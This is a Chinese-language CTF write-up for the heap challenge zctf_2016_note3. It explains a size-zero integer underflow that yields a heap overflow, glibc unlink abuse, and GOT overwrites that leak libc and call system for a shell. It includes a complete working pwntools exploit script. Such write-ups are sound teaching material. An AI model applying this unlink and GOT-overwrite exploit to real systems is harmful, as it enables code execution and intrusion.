zctf_2016_note3

最后更新于 2024-07-17 1281 字 预计阅读时间: 6 分钟


ELF64位堆题,开了canary和NX

在add函数中发现heap[i+8]中存放着我们创建堆的大小且为有符号的64位int且大小可以为0

而在edit函数中他作为参数传进sub_4008DD

而i是无符号整数,当我们输入堆的大小为0时,a2-1变成0xFFFFFFFF,可以输入0xFFFFFFFF个字节造成的堆的溢出,堆溢出+没开启PIE则可与使用unlink

unlink原理:

我们在free一个大小能够进入unsorted bin的堆块的前会检查其size的最后一位(PREV_INUSE),如果为0表示其上一个堆块已经释放,通过大小检查后将指向堆块的指针移到p-pre size处,并且有指针检查

//大小检查
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
//指针指向检查
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

我们伪造堆块时要注意伪造堆块的大小要和下一个堆块的pre size相等并且伪造堆块指针FD->bk=p,BK->fd=p,如果都满足则进入unlink阶段执行

FD->bk = BK
BK->fd = FD

我们可以构成内存的任意写,如下文所述。

回到题目

from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import  *
file_name='./zctf_2016_note3'
debug =0
if debug:
    p = remote("node5.buuoj.cn",26474)
else:
    p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch=elf.arch
input=b'option--->>'
def show_addr(name,a):
    print(f"{name}----------->"+hex(a))
def add(size,content):
    p.recvuntil(input)
    p.sendline(b'1')
    p.recvuntil(b"Input the length of the note content:(less than 1024)")
    p.sendline(str(size).encode())
    p.recvuntil(b"Input the note content:")
    p.sendline(content)
def free(index):
    p.recvuntil(input)
    p.sendline(b'4')
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(index).encode())
def edit(id,content):
    p.recvuntil(input)
    p.sendline(b'3')
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(id).encode())
    p.recvuntil(b"Input the new content:")
    p.sendline(content)
# def show():
#     p.recvuntil(input)
#     p.sendline(b'2')
ptr=0x6020d0
add(0x0,b'aaa')#chunk0
add(0x40,b'bbb')#chunk1
add(0x80,b'ccc')#chunk2
add(0x80,b'ccc')#chunk3
add(0x80,b'ccc')#chunk4

我们先创建几个堆块,注意我们free的堆块大小能进入unsorted bin,我们编辑堆块0,在堆块1中创建假堆块,将存放堆块指针的数组的地址作为假fd和bk的初始值

ptr=0x6020d0
fake_fd=ptr-0x18
fake_bk=ptr-0x10
edit(0,b'a'0x10+p64(0)+p64(0x51)+p64(0)+p64(0x41)+p64(fake_fd)+p64(fake_bk)+b"1"0x20+p64(0x40)+p64(0x90))

堆块1的空间

我们修改fake pre siez为0x40,释放后p变成(0x258b070-0x40=0x258b030)通过大小检查,修改下一个堆块的PREV_INUSE为使其认为上一个堆块已经释放可以合并,在指针检查处,0x6020c8(ptr)存放这我们所有的堆块,我们要满足FD->bk=p,BK->fd=p,而p=0x258b030,应选择0x6020d0来伪造,

FD->bk=p

BK->fd=p

我们free(2)后即可得到

FD->bk = BK  0x6020d0=0x6020c0
BK->fd = FD  0x6020d0=0x6020b8

向存放堆地址的数组中写入p-0x18的位置

0x6020d0地址对应堆块1的位置,当我们向堆块1中写入数据时就写入到0x6020b8,我们写入3个数据后就可用覆盖0x6020d0位置数据,我们可用将free和atoi的got表写在堆上通过修改堆数据来对got进行修改

edit(1,p64(2)*2+p64(elf.got['free'])+p64(elf.got['atoi'])*3)

再次对堆进行修改即可改变got表,将free改为puts我们free一个堆块时造成libc地址泄露,得到system地址修改atoi的got为system,输入/bin/sh得到shell

edit(0,p64(elf.sym['puts'])[:-1])
free(3)
atoi_address=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
show_addr("atoi",atoi_address)
libc_base=atoi_address-0x36E90
system_addr=libc_base+libc.symbols["system"]
edit(1,p64(system_addr))

完整exp

from pwn import *
from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import  *
file_name='./zctf_2016_note3'
debug =0
if debug:
    p = remote("node5.buuoj.cn",26474)
else:
    p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch=elf.arch
input=b'option--->>'
def show_addr(name,a):
    print(f"{name}----------->"+hex(a))
def add(size,content):
    p.recvuntil(input)
    p.sendline(b'1')
    p.recvuntil(b"Input the length of the note content:(less than 1024)")
    p.sendline(str(size).encode())
    p.recvuntil(b"Input the note content:")
    p.sendline(content)


def free(index):
    p.recvuntil(input)
    p.sendline(b'4')
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(index).encode())
def edit(id,content):
    p.recvuntil(input)
    p.sendline(b'3')
    p.recvuntil(b"Input the id of the note:")
    p.sendline(str(id).encode())
    p.recvuntil(b"Input the new content:")
    p.sendline(content)
# def show():
#     p.recvuntil(input)
#     p.sendline(b'2')
add(0x0,b'aaa')
add(0x40,b'bbb')
add(0x80,b'ccc')
add(0x80,b'ccc')
add(0x80,b'ccc')
ptr=0x6020d0
fake_fd=ptr-0x18
fake_bk=ptr-0x10
edit(0,b'a'*0x10+p64(0)+p64(0x51)+p64(0)+p64(0x41)+p64(fake_fd)+p64(fake_bk)+b"1"*0x20+p64(0x40)+p64(0x90))
free(2)
edit(1,p64(2)*2+p64(elf.got['free'])+p64(elf.got['atoi'])*3)
edit(0,p64(elf.sym['puts'])[:-1])
free(3)
atoi_address=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
show_addr("atoi",atoi_address)
libc_base=atoi_address-0x36E90
system_addr=libc_base+libc.symbols["system"]
edit(1,p64(system_addr))
#gdb.attach(proc.pidof(p)[0])
p.interactive()
此作者没有提供个人介绍。
最后更新于 2024-07-17